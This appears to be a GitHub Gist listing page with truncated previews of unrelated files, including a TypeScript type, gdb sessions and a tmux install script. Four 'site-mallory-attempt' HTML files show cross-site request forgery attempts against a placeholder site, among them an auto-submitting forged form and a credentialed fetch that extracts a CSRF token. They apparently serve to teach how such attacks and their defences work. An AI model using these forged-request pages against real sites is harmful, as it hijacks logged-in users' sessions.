View typedLocalStorage.ts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// With a normal object type | |
type LocalStorage = { | |
user: { | |
email: string | |
age: number | |
} | |
company: { | |
name: string | |
} | |
} |
View docker-compose.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: '3' | |
services: | |
nginx: | |
networks: | |
- foo | |
networks: | |
foo: | |
# driver: xxx |
View site-mallory-attempt4.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img src="http://site.alice.com/posts/create" alt=""> |
View site-mallory-attempt3.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post"> | |
<input type="hidden" name="authenticity_token" value=""> | |
<input id="submit-button" type="submit" name="commit" value="Create Post"> | |
</form> | |
<script> | |
document.getElementById("submit-button").click() | |
</script> |
View site-mallory-attempt2.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
const url = 'http://site.alice.com/posts' | |
fetch(url, { method: "GET", credentials: 'include' }). | |
then((response) => response.text()). | |
then((body) => { | |
const re = new RegExp('<meta name="csrf-token" content="(.*)" />') | |
const csrfToken = re.exec(body)[1] | |
return csrfToken |
View site-mallory-attempt1.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
const url = 'http://site.alice.com/posts' | |
fetch(url, { method: 'POST', credentials: 'include' }) | |
</script> |
View gdb-commented
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
❯ gdb ./md demo 8a24e22 | |
GNU gdb (GDB) 7.5 | |
Copyright (C) 2012 Free Software Foundation, Inc. | |
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> | |
This is free software: you are free to change and redistribute it. | |
There is NO WARRANTY, to the extent permitted by law. Type "show copying" | |
and "show warranty" for details. | |
This GDB was configured as "x86_64-unknown-linux-gnu". | |
For bug reporting instructions, please see: | |
<http://www.gnu.org/software/gdb/bugs/>... |
View gdb-uncommented
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
❯ gdb ./md task3 82ac80d ✗ | |
GNU gdb (GDB) 7.5 | |
Copyright (C) 2012 Free Software Foundation, Inc. | |
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> | |
This is free software: you are free to change and redistribute it. | |
There is NO WARRANTY, to the extent permitted by law. Type "show copying" | |
and "show warranty" for details. | |
This GDB was configured as "x86_64-unknown-linux-gnu". | |
For bug reporting instructions, please see: | |
<http://www.gnu.org/software/gdb/bugs/>... |
View before commenting
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
❯ ./md demo 8 | |
Molecular Dynamics Simulation example program | |
--------------------------------------------- | |
number of particles is ............ 13500 | |
side length of the box is ......... 25.323179 | |
cut off is ........................ 3.750000 | |
reduced temperature is ............ 0.722000 | |
basic timestep is ................. 0.064000 | |
temperature scale interval ........ 10 | |
stop scaling at move .............. 20 |
View tmux_local_install.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Script for installing tmux on systems where you don't have root access. | |
# tmux will be installed in $HOME/local/bin. | |
# It's assumed that wget and a C/C++ compiler are installed. | |
# exit on error | |
set -e | |
TMUX_VERSION=1.8 |
NewerOlder